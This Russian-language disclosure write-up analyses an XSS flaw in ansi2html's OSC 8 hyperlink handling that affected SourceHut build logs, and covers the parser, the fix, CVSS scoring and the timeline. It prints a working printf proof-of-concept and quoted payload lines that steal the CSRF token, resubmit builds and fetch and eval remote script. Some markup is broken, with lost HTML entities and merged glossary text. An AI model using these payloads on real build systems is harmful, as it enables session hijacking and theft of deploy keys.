SourceHut показывает логи сборки, прогнав их через ansi2html — конвертер ANSI-escape-кодов в HTML. Конвертер умеет превращать гиперссылки [[term:OSC 8Управляющая последовательность терминала вида ESC )8;;URL BEL текст ESC )8;; BEL, задающая гиперссылку, которую ansi2html распознаёт регулярным выражением osc_link_re и превращает в тег <a>.|управляющая последовательность терминала, задающая гиперссылку: ESC ]8;;URL BEL текст ESC ]8;; BEL]] в теги <a>, и именно на этом стыке возникал межсайтовый скриптинг (XSS): подконтрольный атакующему URL попадал в атрибут href без полноценного экранирования, а браузер достраивал из остатка строки новые атрибуты, включая обработчик события. Разберём механику по шагам: как последовательность попадает в лог, как конвертер её разбирает, почему экранирования не хватило и что именно даёт атакующему исполнение скрипта в чужой сессии.
Что такое ansi2html и откуда берутся входные данные
ansi2html конвертирует ANSI escape codes в HTML и поддерживает автоматические ссылки и OSC 8 гиперссылки. Для распознавания OSC 8-гиперссылок у конвертера есть регулярное выражение osc_link_re.
Из логов сборки конвертер получает ANSI-последовательности, в частности OSC 8-ссылки вида ESC ]8;;URL BEL текст ESC ]8;; BEL. Такая последовательность разбирается в _apply_regex через _osc_link и превращается в объект OSC_Link(url, text). Далее handle_osc_links формирует HTML-тег <a href="%s">%s</a>: URL проверяется по широкому шаблону, который допускает схемы http, https, ftp, ftps, gopher, telnet, nntp, mailto и news, — при несовпадении заменяется на #, а кавычки в URL экранируются в ".
Именно через OSC 8-последовательность в лог сборки можно внедрить вредоносный HTML. Пример команды, которая это демонстрирует:
printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2htmlНа выходе получается <a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alertxss">Nothing to see here</a>. В ответ на это SourceHut пропатчил builds.sr.ht, чтобы автоматически санитизировать вывод ansi2html.
Как устроен конвертер
Внутреннее состояние конвертера хранит класс _State. В его конструкторе задаётся только inside_spanфлаг, показывающий, что конвертер сейчас находится внутри открытого HTML-элемента span = False, после чего вызывается reset(). Метод reset присваивает значения по умолчанию полям состояния оформления: intensity — насыщенность цвета, style — начертание, blink — мигание, underline — подчёркивание, crossedout — зачёркивание, visibility — видимость, foreground — цвет текста, background — цвет фона и negative — инверсия цветов. То есть reset возвращает состояние оформления к исходному перед разбором новой порции текста. Ссылка http://stackoverflow.com/a/15190498 стоит комментарием непосредственно перед определением _latex_template, то есть относится к LaTeX-шаблону, а не к конструктору конвертера.
Метод prepare принимает строку ansi и флаг ensure_trailing_newline. Он вызывает apply_regex(ansi), который возвращает кортеж (body, styles), и при необходимости добавляет завершающий перевод строки. Затем он формирует и сохраняет в self._attrs словарь с ключами dark_bg, line_wrap, font_size, body и styles, и возвращает этот словарь.
Метод convert вызывает prepare. Если full=False, возвращается только attrs["body"]. Иначе выбирается шаблон: _latex_template при self.latex, иначе _html_template. Собираются таблицы стилей для всех вариантов оформления; первые пять берутся как базовые стили фона, а остальные отбираются по тем, что реально встретились в разобранном тексте. В шаблон подставляются объединённые стили, заголовок, размер шрифта, содержимое, кодировка вывода и признак подключения пакета гиперссылок в LaTeX-шаблоне. Итоговый HTML-документ формируется в convert через оператор % над _html_template, куда content попадает из attrs["body"], а style — из объединения базовых стилей фона и стилей, встретившихся в тексте.
Метод produce_headers не вызывает convert и не формирует полный документ: он возвращает только строку <style type="text/css">\n%(style)s\n</style>\n, где style — объединённые через перевод строки все собранные стили.
Как разбирается OSC 8
Последовательность распознаётся регулярным выражением:
self.osc_link_re = re.compile("\033\\]8;;(.*?)\007(.*?)\033\\]8;;\007")Оно находит ESC ] 8 ; ; <URL> BEL <текст> ESC ] 8 ; ; BEL и извлекает две группы: URL и текст ссылки. Внутри _apply_regex вложенная функция _osc_link через self.osc_link_re.finditer(ansi) перебирает совпадения, выдаёт текст до совпадения, затем создаёт объект OSC_Link(url, text) из групп 0 и 1, и в конце выдаёт остаток строки. Этот объект нужен, чтобы сохранить пару «URL и подпись» до момента сборки HTML: он передаёт их дальше по конвейеру, где _check_links для каждого такого объекта вызывает handle_osc_links, и уже там из пары собирается готовая ссылка.
В handle_osc_links при не-latex режиме проверяется self._url_matcher_broad.match(part.url): если URL не подходит под широкий шаблон, part.url заменяется на #. Затем кавычки в URL заменяются на ", и возвращается строка <a href="%s">%s</a>. В latex-режиме handle_osc_links устанавливает self.hyperref = True и возвращает \href{url}{text}.
Широкий шаблон URL допускает схемы http, https, ftp, ftps, gopher, telnet, nntp, mailto и news.
Почему экранирования не хватило
URL из OSC 8 не проходит полное HTML-экранирование кавычек и слешей: в handle_osc_links выполняется только замена двойной кавычки на ", а слеши и другие символы не экранируются. Поэтому последовательность "/autofocus/tabindex="1"/onfocus="alertxss` после подстановки в шаблон <a href="%s">%s</a> даёт строку, где кавычки вокруг href` закрываются раньше времени, а оставшиеся фрагменты становятся отдельными атрибутами.
Браузер разбирает такую строку по правилам HTML-парсера. После закрывающей кавычки значения атрибута href он переходит в состояние «after attribute value (quoted) state», где символ / не является частью значения и не требует пробела перед следующим атрибутом. Поэтому последовательность /autofocus/tabindex="1"/onfocus="alertxss" распознаётся как отдельные атрибуты autofocus, tabindex и onfocus. В результате получается тот же DOM, что и при записи атрибутов через пробелы:
<a href="https://example.com/" autofocus tabindex="1" onfocus="alert`xss`"> Nothing to see here </a>Слэши здесь не обязательны: по источнику, «The slashes were never necessary, you can just start the next attribute immediately (though boolean attributes will require ="" in that case)». Пример без слэшей даёт ту же разметку с атрибутами href, autofocus="", tabindex="1", onfocus="alertxss".
Исторически в HTML 2–4 такая запись должна была быть эквивалентна форме SGML Null End Tag (NET), где <a/children/ означало <a>children</a>: закрывающий тег мог быть заменён завершающим слэшем, а открывающий — слэшем сразу после имени элемента. HTML был специфицирован как SGML-приложение, но ни один браузер это не реализовал: «But I say "supposed to be" because although HTML was specified as an SGML application, no browser ever implemented it so.» В современном HTML5 соответствующим состоянием парсера является after attribute value (quoted) state.
Как последовательность попадает в лог
Атакующий может заставить последовательность ESC ] 8 ; ; ... BEL появиться в логах, отправив патч в публичный список рассылки с включённой непрерывной интеграцией, — для этого даже не нужен аккаунт: «you can, either without even having an account, by sending a patch to a public mailing list with continuous integration turned on». Второй путь — контролировать любой удалённый ресурс, который выводится в лог: «or by controlling any remote resource that happens to be printed to the log». Можно и самостоятельно отправить задание, но для этого нужен платный аккаунт на флагманском инстансе: «You can submit the job yourself, but this requires a paid account on the flagship instance.»
Что даёт исполнение скрипта в чужой сессии
Из контекста страницы логов сборки скрипт может прочитать CSRF-токен, который уже присутствует на странице: «The build log page already contains the CSRF token. You can read it with document.querySelector('[name=_csrf_token]').value for example». Также он может использовать существующую форму (часть кнопки «Resubmit build») и подставить в неё свой манифест: «or just use the existing form (part of the 'Resubmit build' button), like document.querySelector('[name=manifest]').value=something;document.forms[0].submit()».
Если такую страницу просмотрит администратор, скрипт может выдать себе права администратора: «Once you get an admin to view it, you can probably grant yourself admin rights». Кроме того, из контекста доступны все deploy keys, а на builds.sr.ht есть deploy keys для самого sr.ht: «The worse impact is that you have access to all the deploy keys, and on builds.sr.ht, there are deploy keys for sr.ht itself». Полезная нагрузка может быть загружена с сайта атакующего, например: «like eval(await (await fetch('https://example.com')).text())».
Что видит пользователь в момент срабатывания
В логах появляется элемент <a> с атрибутами autofocus, tabindex="1" и onfocus="alertxss". Атрибут autofocus заставляет браузер автоматически сфокусироваться на этой ссылке при загрузке страницы, а onfocus задаёт обработчик, выполняющийся при получении фокуса. Поскольку onfocus содержит alertxss``, при открытии страницы логов срабатывает именно этот обработчик — без какого-либо взаимодействия пользователя. Визуально пользователь видит только текст ссылки «Nothing to see here», а срабатывание происходит автоматически при загрузке страницы. Пейлоад выполняется в каждом браузере, который просматривает страницу логов: «that executes your payload in every browser that views it.»
Условия срабатывания
Эксплойт срабатывает, когда в логах сборки появляется специальная escape-последовательность, а браузер, просматривающий лог, выполняет внедрённый код. Уязвимые версии — ansi2html от 1.7.0 до 1.9.4 и builds.sr.ht от 0.40.0 до 0.105.1. Чтобы последовательность попала в лог, достаточно отправить патч в публичный список рассылки с включённой непрерывной интеграцией или контролировать любой удалённый ресурс, который печатается в лог. Для срабатывания нужен браузер с включённым JavaScript, просматривающий затронутый лог сборки: «it would suffice that Drew visited an affected build log with JS turned on».
Защита включает ограничение Content-Security-Policy, в частности удаление 'unsafe-inline': «By restricting Content-Security-Policy. I'm no expert here, but removing 'unsafe-inline' would be a good first step». Дополнительная санитизация вывода ansi2html также применяется как защита: «By extra sanitization (SourceHut added it, but it's overzealous - now there are no colors!).»
Исправление и версии
Согласно разделу «Vulnerable versions», уязвимы версии ansi2html от 1.7.0 включительно до 1.9.4 не включительно. Исправление выпущено в версии 1.9.4: 2026-09-02 был отправлен PR с окончательным исправлением и опубликована версия 1.9.4, устраняющая уязвимость. Версия 1.9.3, опубликованная 2026-08-29, уязвимость не устраняла. В истории релизов на PyPI указаны 1.9.4 от Sep 2, 2026 и 1.9.5 от Sep 6, 2026.
В upstream-версии ansi2html URL из OSC 8 больше не подставляется в href без проверки: в handle_osc_links сначала проверяется, соответствует ли URL широкому шаблону _url_matcher_broad, и если нет — URL заменяется на #. Затем в URL заменяются двойные кавычки на ", после чего он вставляется в HTML-ссылку. Именно так устраняются показанные XSS-векторы с javascript: и с разрывом атрибута через кавычку. При этом текст ссылки вставляется как есть, без отдельного экранирования в этом методе.
Хронология раскрытия
Уведомление upstream описано без даты: «Then I contacted upstream (maybe a bit too late? exact timeline below).» Arch Linux обновил ansi2html до исправленной версии 5 сентября 2026 года: «2026-09-05: Arch Linux updates ansi2html to a fixed version». Файлы релиза ansi2html 1.9.5 загружены 6 сентября 2026 года: «Upload date Sep 6, 2026». Данные PyPI проверены 6 сентября 2026 года: «Data verified by PyPI on Sep 6, 2026».
Оценка серьёзности
Автор обосновывает оценку CVSS 4.0 через различие между уязвимой системойсистемой, в которой есть ошибка (Vulnerable System) и последующей системойсистемой, на которую ошибка воздействует косвенно (Subsequent System): «It now makes a distinction on Vulnerable System and Subsequent System.» При XSS типично считать веб-сервис уязвимым, а браузер последующим: «In case of XSS vulnerabilities the typical approach is to say that the web service is Vulnerable, and the browser is Subsequent».
Для SourceHut уязвимой системой указаны builds.sr.ht / all of sr.ht с высоким влиянием на конфиденциальность и целостность, но отсутствием влияния на доступность. Последующей системой — браузер жертвы с низким влиянием на конфиденциальность и целостность и отсутствием влияния на доступность. Автор также добавляет дополнительные метрики: автоматизируемость, невосстановимость, концентрацию ценности, низкие усилия по реагированию и умеренную срочность.
Автор настаивает на высокой или критической оценке, а не средней: «I would argue for high or critical, not just a mere medium». Обоснование: «it would suffice that Drew visited an affected build log with JS turned on, and I could submit a build job in his name with access to SourceHut deploy keys.» Вектор, изначально предложенный автором, был изменён VulnCheck: «The vector I initially came up with has been altered by VulnCheck.»
Альтернативы из обсуждения
В обсуждении предлагается просто опустить атрибут href у ссылки: «Consider if you can just omit the href attribute, rather than changing element name; it's often tolerable.» Недостаток в том, что такие ссылки работают хуже, чем href="javascript:void(0)", и обычно требуют значительно больше усилий: «They work worse than href="javascript:void(0)", so "UX" must rank lower than "markup quality" among your priorities in order to prefer that approach.»
Второй вариант — href="javascript:void(0)" — автор не любит, но называет инструментом для отчаянных ситуаций: «I don't like javascript:void(0). What I'm saying is that it's a tool for the desperate: if you have the leisure to restructure the code in a more fundamental way then there are always better options – but in times of desperation, when you're painted into a corner, the desperation would deepen without it available.»
Третий вариант — href="#" — прокручивает страницу наверх и меняет адрес в адресной строке: «That scrolls to the top of the page and also changes the location in the address bar (at the least).» Для случая, когда ссылки нет и нет механизма сообщить об этом, это «very bad replacement». Если проблема только в борьбе с настройками по умолчанию, её можно решить через preventDefault, хотя это «marginally less robust». Вместо # предлагается #- или другой несуществующий якорь, чтобы точно не прокручивать: «#- (or other non-existent anchor) could be used to definitely not scroll.»
Что из этого следует на практике
- Конвертация ANSI в HTML — это граница доверия. Логи сборки формируются подконтрольным атакующему содержимым, поэтому любой URL, извлечённый из escape-последовательности, — это недоверенный ввод, даже если он прошёл проверку схемы.
- Экранирования одной кавычки недостаточно. Замена
"на"не мешает браузеру закрыть значение атрибута и начать новый: после закрывающей кавычки парсер не требует пробела, и/или сразу следующий символ становятся началом нового атрибута. - Проверка схемы URL не защищает от разрыва атрибута. Широкий шаблон допускает
https://, и вредоносная нагрузка целиком помещается в допустимый по схеме URL — опасен не протокол, а структура строки. - Автофокус превращает XSS в срабатывание без действий пользователя. Достаточно, чтобы браузер с включённым JavaScript открыл заражённый лог:
autofocusфокусирует элемент,onfocusвыполняет обработчик. - Последствия в контексте SourceHut выходят за пределы одной страницы: из логов доступны CSRF-токен, форма повторной отправки сборки и deploy keys, включая ключи для самого sr.ht.
- Защита строится из двух слоёв: ограничение Content-Security-Policy (в частности, удаление
'unsafe-inline') и дополнительная санитизация вывода ansi2html. Санитизация SourceHut оказалась чрезмерной — по источнику, цвета в логах пропали. - Уязвимы ansi2html от 1.7.0 до 1.9.4 и builds.sr.ht от 0.40.0 до 0.105.1; исправление вышло в ansi2html 1.9.4, Arch Linux обновил пакет 5 сентября 2026 года.